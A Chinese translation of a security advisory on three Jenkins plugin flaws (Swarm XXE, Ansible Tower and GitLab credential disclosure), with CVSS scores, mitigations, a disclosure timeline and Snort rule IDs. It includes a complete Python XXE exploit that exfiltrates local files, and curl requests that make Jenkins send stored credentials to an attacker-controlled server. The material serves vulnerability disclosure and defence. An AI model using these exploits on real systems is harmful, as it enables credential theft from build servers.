内容简介:一、概述Jenkins是一个用Java编写的开源自动化服务器。借助一些插件,可以将Jenkins与其他软件集成,例如GitLab。5月7日,Cisco Talos团队公开了其中三个插件的漏洞,这三个插件分别是Swarm、Ansible和GitLab。这些插件中的漏洞均属于信息泄露类型,攻击者借助这些漏洞,可能欺骗上述插件,将Jenkins数据库中的凭据泄露至攻击者控制的服务器。根据我们的协调漏洞披露政策,Cisco Talos与Jenkins及相关公司进行了合作,以确保这些问题得以彻底解决,并为受影响的客户
一、概述
Jenkins是一个用 Java 编写的开源自动化服务器。借助一些插件,可以将Jenkins与其他软件集成,例如GitLab。5月7日,Cisco Talos团队公开了其中三个插件的漏洞,这三个插件分别是Swarm、Ansible和GitLab。这些插件中的漏洞均属于信息泄露类型,攻击者借助这些漏洞,可能欺骗上述插件,将Jenkins数据库中的凭据泄露至攻击者控制的服务器。
根据我们的协调漏洞披露政策,Cisco Talos与Jenkins及相关公司进行了合作,以确保这些问题得以彻底解决,并为受影响的客户提供 更新 。
二、Jenkins Swarm插件XXE信息泄露漏洞(CVE-2019-10309)
在Jenkins自组织的Swarm模块插件3.14版本中,getCandidateFromDatagramResponses()方法存在一个简单的XXE(XML外部实体)漏洞。由于这一漏洞的存在,与Swarm客户端在同一网络上的攻击者可以借助精心构造的响应信息来响应UDP发现请求,从而实现在系统上读取任意文件。
2.1 产品URL
https://github.com/jenkinsci/swarm-plugin
2.2 CVSS v3评分
6.1 – CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
2.3 CWE
CWE-611 XML外部实体(XXE)引用未进行正确限制
2.4 漏洞详细分析
该漏洞可能允许连接到部署Swarm代理网络中的非特权用户访问代理实例上的数据,而无需进行额外的身份验证。由于UDP广播发现工作机制中存在缺陷,将导致使用此机制寻找Jenkins Master的过程中,会对代理找到的所有Master发生未经身份验证的本地文件读取。我们在基于 Docker 的环境中进行了测试,其中运行Swarm代理的所有代理都可以成功实现该漏洞的利用。
针对这一漏洞,我们计算出CVSS v3评分为6.1。但是,该漏洞实际的威胁程度很大程度上取决于部署方式,并且根据实际部署方式的不同,这一评分有可能会显著降低。此外,由于Java XML解析器的性质,包含某些字符的文件无法成功反射到FTP或HTTP URI中,因此也就无法成功实现信息泄露。
2.5 漏洞利用概念证明
Dockerfile
FROM ubuntu:latest # Update repository metadata and install a JVM. RUN apt update && \ apt install -y openjdk-8-jre-headless tcpdump curl && \ apt install -y python3 python 3-pip tmux && \ pip3 install pyftpdlib # Grab the latest Swarm Client. RUN curl -D - -o /var/tmp/swarm-client.jar \ https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar # Copy our exploit code to the container. COPY exploit.py /root/exploit.py # Give 'er. ENTRYPOINT java -jar /var/tmp/swarm-client.jar
exploit.py
''' Jenkins Swarm-Plugin XXE PoC (via @Darkarnium). ''' import os import sys import socket import uuid import logging import http.server import socketserver import multiprocessing def find_ip(): ''' Find the IP of the 'primary' network interface. ''' sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.connect(('8.8.8.8', 80)) addr = sock.getsockname()[0] sock.close() return addr class RequestHandler(http.server.BaseHTTPRequestHandler): ''' Provides a set of request handlers for our Fake jenkins server. ''' def __init__(self, request, client_address, server): ''' Bot on a logger. ''' self.logger = logging.getLogger(__name__) super().__init__(request, client_address, server) def version_string(self): ''' Override version string / Server header. ''' return 'TotallyJenkins' def log_message(self, fmt, *args): ''' Where we're going, we don't need logs. ''' pass def log_error(self, fmt, *args): ''' Where we're going, we don't need logs. ''' pass def log_request(self, code='-', size='-'): ''' Where we're going, we don't need logs. ''' self.logger.debug( 'Received %s request for %s from %s', self.command, self.path, self.client_address ) def build_stage_two(self): ''' Builds a second stage XXE payload - for exfil. ''' payload = ''' <!ENTITY % local1 SYSTEM "file:///etc/debian_version"> <!ENTITY % remote1 "<!ENTITY exfil1 SYSTEM 'http://{0}:{1}/exfil?/etc/debian_version=%local1;'>"> <!ENTITY % local2 SYSTEM "file:///etc/hostname"> <!ENTITY % remote2 "<!ENTITY exfil2 SYSTEM 'http://{0}:{1}/exfil?/etc/hostname=%local2;'>"> '''.format(find_ip(), '8080') return payload.encode() def do_GET(self): ''' Implements routing for HTTP GET requests. ''' self.logger.debug('Processing GET on route "%s"', self.path) # Provide an exfiltration endpoint. if '/exfil' in self.path: self.logger.warn('Exfiltrated %s -> "%s"', *self.path.split('?')[1].split('=')) self.send_response(200, 'OK') self.send_header('X-Hudson', '1.395') self.send_header('Content-Length', '2') self.end_headers() self.wfile.write(b'OK') # Serve the payload DTD. if self.path.endswith('.dtd'): stage_two = self.build_stage_two() self.send_response(200, 'OK') self.send_header('Content-Type', 'application/x-java-jnlp-file') self.send_header('Content-Length', len(stage_two)) self.end_headers() self.wfile.write(stage_two) # Ensure the X-Hudson check in Swarm plugin passes. if self.path == '/': self.send_response(200, 'OK') self.send_header('X-Hudson', '1.395') self.send_header('Content-Length', '2') self.end_headers() self.wfile.write(b'OK') def do_PUT(self): ''' Mock HTTP PUT requests. ''' self.send_response(500) def do_POST(self): ''' Mock HTTP POST requests. ''' self.logger.debug('Processing POST on route "%s"', self.path) # Respond with an OK to keep the exchange going. if self.path.startswith('/plugin/swarm/createSlave'): self.send_response(200, 'OK') self.send_header('Content-Length', '0') self.end_headers() def do_HEAD(self): ''' Mock HTTP HEAD requests. ''' self.send_response(500) def do_PATCH(self): ''' Mock HTTP PATCH requests. ''' self.send_response(500) def do_OPTIONS(self): ''' Mock HTTP HEAD requests. ''' self.send_response(500) class HTTPServer(multiprocessing.Process): ''' Provides a Fake Jenkins server to signal the Swarm. ''' def __init__(self, port=8080): ''' Bolt on a logger. ''' super().__init__() self.port = port self.logger = logging.getLogger(__name__) def run(self): ''' Do the thing. ''' self.logger.info('Starting HTTP listener on TCP %s', self.port) # Kick off the server. instance = http.server.HTTPServer( ('0.0.0.0', self.port), RequestHandler ) instance.serve_forever() class Spwner(multiprocessing.Process): ''' Provides a Spawn broadcast listener and responder. ''' def __init__(self, port=33848): ''' Setup a socket and bolt on a logger. ''' super().__init__() self.port = port self.logger = logging.getLogger(__name__) self.logger.info('Binding broadcast listener to UDP %s', port) self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.bind(('255.255.255.255', self.port)) self.swarm = str(uuid.uuid4()) def build_swarm_xml(self): ''' Builds a baked Swarm payload. ''' # This is dirty. payload = '''<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE swarm [ <!ENTITY % stageTwo SYSTEM "http://{0}:{1}/stageTwo.dtd"> %stageTwo; %remote1; %remote2; ]> <root> <swarm>&exfil1;</swarm> <version>&exfil2;</version> <url>http://{0}:{1}/</url> </root> '''.format(find_ip(), '8080') return payload.encode() def respond(self, client): ''' Send a payload to the given client. ''' addr, port = client self.logger.info('Sending payload to %s:%s', addr, port) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(self.build_swarm_xml(), (addr, port)) self.logger.info('Payload sent!') def listen(self): ''' Listen for clients. ''' while True: _, client = self.sock.recvfrom(1024) self.logger.info('Received a Swarm broadcast from %s', client) self.respond(client) def run(self): ''' Do the thing. ''' self.listen() def main(): ''' Jenkins Swarm-Plugin RCE PoC. ''' # Configure the logger. logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(process)d - [%(levelname)s] %(message)s', ) log = logging.getLogger(__name__) # log.setLevel(logging.DEBUG) # Spawn a fake Jenkins HTTP server. log.info('Spawning fake Jenkins HTTP Server') httpd = HTTPServer() httpd.start() # Spawn a broadcast listener. log.info('Spawning a Swarm broadcast listener') listener = Spwner() listener.start() if __name__ == '__main__': main()
2.6 缓解方案
在厂商发布修复后版本之前,建议用户禁用UDP广播功能。要禁用这一功能,可以通过在命令行参数中,指定要连接的Jenkins主服务器来实现。
2.7 时间节点
·2018年12月5日 向厂商报告该漏洞
· 2019年4月30日 厂商发布补丁
· 2019年5月6日 公开披露漏洞信息
2.8 贡献者
该漏洞由Cisco Umbrella的Peter Adkins发现。
三、Jenkins Ansible Tower插件信息泄露漏洞(CVE-2019-10300)
在Jenkins Ansible Tower插件0.9.1版本中,testTowerConnection函数存在一个可以被利用的信息泄露漏洞。攻击者以具有“全局可读”(Overall/Read)权限的用户(例如匿名用户,如果已启用)登录,精心构造一个HTTP请求并发送,可能会导致该插件将Jenkins凭据数据库中的凭据信息泄露到攻击者控制的服务器上。由于此漏洞可以通过HTTP GET请求来利用,因此也可以通过跨站请求伪造(CSRF)来利用此漏洞。除上述内容外,如果响应服务器未返回格式正确的JSON文档,则该响应将作为报告错误的一部分反馈给用户,从而导致仅能通过HTTP GET方式实现服务器端请求伪造(SSRF)漏洞利用。
该漏洞也存在于该插件的fillTowerCredentialsIdItems函数中,该函数允许遍历该攻击所需的凭据标识符。
3.1 产品URL
https://github.com/jenkinsci/ansible-tower-plugin
https://plugins.jenkins.io/ansible-tower
3.2 CVSS v3评分
7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
3.3 CWE
CWE-285 不适当的授权
3.4 漏洞详细分析
Ansible是一个开源软件,允许用户配置和部署各种应用程序。Ansible Tower插件旨在优化Ansible的使用,使该软件更适用于各类IT团队。由于缺少对Jenkins的权限检查,由org.jenkinsci.plugins.ansible_tower.util.TowerInstallation的doTestTowerConnection方法暴露的testTowerConnection存在该漏洞。在doFillTowerCredentialsIdItems方法中也忽略了权限检查,从而导致攻击者可以通过该方法枚举凭据,产生相同的信息泄露风险。
由于此插件对远程Ansible Tower实例进行身份验证的方式存在问题,将导致与towerCredentialsId相关联的凭据,在经过Base64编码后,作为HTTP Authorization标头的一部分发送到攻击者控制的服务器,同时还会发送攻击者指定位置的JSON文档明文。我们在运行此插件易受攻击版本的环境中进行了配置,下面是允许攻击者访问Jenkins 2.165实例进行匿名读取的攻击示例。
# List credentials on target Jenkins instance. $ curl -s -X GET -G \ -d 'pretty=true' \ 'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/fillTowerCredentialsIdItems' { "_class" : "com.cloudbees.plugins.credentials.common.StandardListBoxModel", "values" : [ { "name" : "- none -", "selected" : false, "value" : "" }, { "name" : "BBBBBB/****** (ExampleOnly)", "selected" : false, "value" : "01e367ef-54fb-4da0-8044-5112935037bb" }, { "name" : "SecureUsername/****** (Credentials for X)", "selected" : false, "value" : "287fcbe2-177e-4108-ac58-efdc0a507376" }, { "name" : "A Secret Text Entry", "selected" : false, "value" : "532ba431-e25d-4aad-bc74-fb5b2cc03bd7" } ] } # Send credentials to an attacker's server (http://127.0.0.1:7000?). # The trailing '?' is to ensure that the expected path is appended as a # query parameter, rather than part of the query path. # # Two requests are performed by Jenkins here. The first is a 'ping', which # requires that the target respond with a well formed JSON response - # though any JSON response will do. If this first request fails, the reply # will be reflected to the client (SSRF). If it succeeds, a subsequent # POST will be performed which contains the credentials. # $ curl -s -X GET -G \ -d 'towerURL=http://127.0.0.1:7000/report.json?' \ -d 'towerTrustCert=false' \ -d 'enableDebugging=true' \ -d 'towerCredentialsId=287fcbe2-177e-4108-ac58-efdc0a507376' \ 'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/testTowerConnection'
存在漏洞的插件以HTTP GET形式提交给远程服务器的请求,类似于如下内容:
# First request from Jenkins (GET) /report.json?/api/v2/ping/ Host: 127.0.0.1:7000 Connection: Keep-Alive User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5) # Second request from Jenkins (POST) /report.json?/api/v2/authtoken/ Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v Content-Type: application/json Content-Length: 61 Host: 127.0.0.1:7000 Connection: Keep-Alive User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5) {"username":"SecureUsername","password":"SecurePasswordOhNo"}
3.5 缓解方案
在厂商发布修复后版本之前,如果可能,应尽量禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,例如匿名访问。
3.6 时间节点
2019年3月12日 向厂商报告该漏洞
2019年4月30日 厂商发布补丁
2019年5月6日 公开披露漏洞信息
3.7 贡献者
该漏洞由Cisco Umbrella的Peter Adkins发现。
四、Jenkins GitLab插件信息泄露漏洞(CVE-2019-10310)
Jenkins GitLab插件1.5.11版本的testConnection函数中,存在可以被利用的信息泄露漏洞。攻击者以具有“全局可读”(Overall/Read)权限的用户(例如匿名用户,如果已启用)登录,精心构造一个HTTP请求并发送,可能会导致该插件将Jenkins凭据数据库中的凭据信息泄露到攻击者控制的服务器上。由于此漏洞可以通过HTTP GET请求利用,因此也可以通过跨站请求伪造(CSRF)来实现此漏洞的利用。
为了使这一攻击成功进行,攻击者需要知道要获取的凭据的凭据ID。该凭据ID可以通过多种方式查找,例如公开的编译日志(读取)、访问Jenkins UI中的凭证管理器(读取),或者通过fileCredentialsIdItems样式中另外一个易受攻击的插件来实现。
4.1 产品URL
https://plugins.jenkins.io/gitlab-plugin
https://github.com/jenkinsci/gitlab-plugin
4.2 CVSS v3评分
7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.3 CWE
CWE-285 不适当的授权
4.4 漏洞详细分析
由于缺少对Jenkins的权限检查,com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig的doTestConnection方法暴露的testConnection中存在这一漏洞。
由于该插件针对远程GitLab实例进行身份验证的方式存在问题,与攻击者指定的credentialsId相关联的凭据将作为HTTP PRIVATE-TOKEN标头的一部分,发送至攻击者控制的服务器。我们在运行此插件易受攻击版本的环境中进行了配置,下面是允许攻击者访问Jenkins 2.165实例进行匿名读取的攻击示例。
# Send credentials to an attacker's server (http://127.0.0.1:7000?). # The trailing '?' is to ensure that the expected path is appended as a # query parameter, rather than part of the query path. $ curl -s -X GET -G \ -d 'url=http://127.0.0.1:7000/?' \ -d 'clientBuilderId=autodetect' \ -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \ 'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'
插件以HTTP GET方式发送至远程服务器的请求,类似于下面内容。当上述clientBuilderdId字段设置为autodetect(自动检测)时,会有多个请求被发送至攻击者指定的服务器。
# First request from Jenkins (GET). /api/v4/user Accept: application/json PRIVATE-TOKEN: ASecretTextEntry Host: 127.0.0.1:7000 Connection: Keep-Alive # Second request from Jenkins (GET) /api/v3/user Accept: application/json PRIVATE-TOKEN: ASecretTextEntry Host: 127.0.0.1:7000 Connection: Keep-Alive
值得注意的是,由于攻击者指定的服务器响应不符合预期的格式,因此插件将会产生错误,并且不呈现响应内容。
4.5 缓解方案
在厂商发布修复后版本之前,如果可能,应尽量禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,例如匿名访问。
4.6 时间节点
· 2019年3月12日 向厂商报告该漏洞
· 2019年4月30日 厂商发布补丁
· 2019年5月6日 公开披露漏洞信息
4.7 贡献者
该漏洞由Cisco Umbrella的Peter Adkins发现。
五、测试环境
经过测试,我们确认Jenkins Ansible Tower插件的0.9.1版本受到CVE-2019-10310的影响,Jenkins Artifactory插件的3.2.1和3.2.0版本受到CVE-2019-5026的影响,Jenkins GitLab插件的1.5.11版本受到CVE-2019-10300的影响,Swarm-Client的3.14版本受到CVE-2019-10309的影响。
六、检测规则
以下SNORT规则将检测该漏洞的利用尝试。需要注意的是,可能会在未来某个日期发布其他规则,并且根据其他漏洞信息的补充,当前规则可能会发生更改。有关最新的规则信息,可以参阅Firepower管理中心,或访问Snort.org。
Snort规则:49362、49363、49370、49373。
七、补充说明
在Cisco Talos网站的原文中,分别将这三个漏洞标注为CVE-2019-5022、CVE-2019-5025、CVE-2019-5027,而根据MITRE的官网,查询这三个漏洞的实际编号分别为CVE-2019-10309、CVE-2019-10300和CVE-2019-10310。目前暂不清楚是原文有误,还是重复分配了CVE编号。本文在翻译时,均以MITRE的官方CVE编号为准。
以上所述就是小编给大家介绍的《导致数据库凭据泄露:详细分析Jenkins Swarm、Ansible、GitLab插件信息泄露漏洞(CVE-2019-10309/10...》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 如何滥用LAPS窃取用户凭据
- 破坏攻击者利用域凭据
- 渗透测试中需要关注的本地凭据
- 通过 PAM 后门和 DNS 请求来泄漏用户凭据
- 攻击者如何借助授权插件,实现macOS持久化凭据窃取
- 挖洞经验 | 用绕过姿势形成SSRF获取印度最大股票经纪公司的AWS密码凭据
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。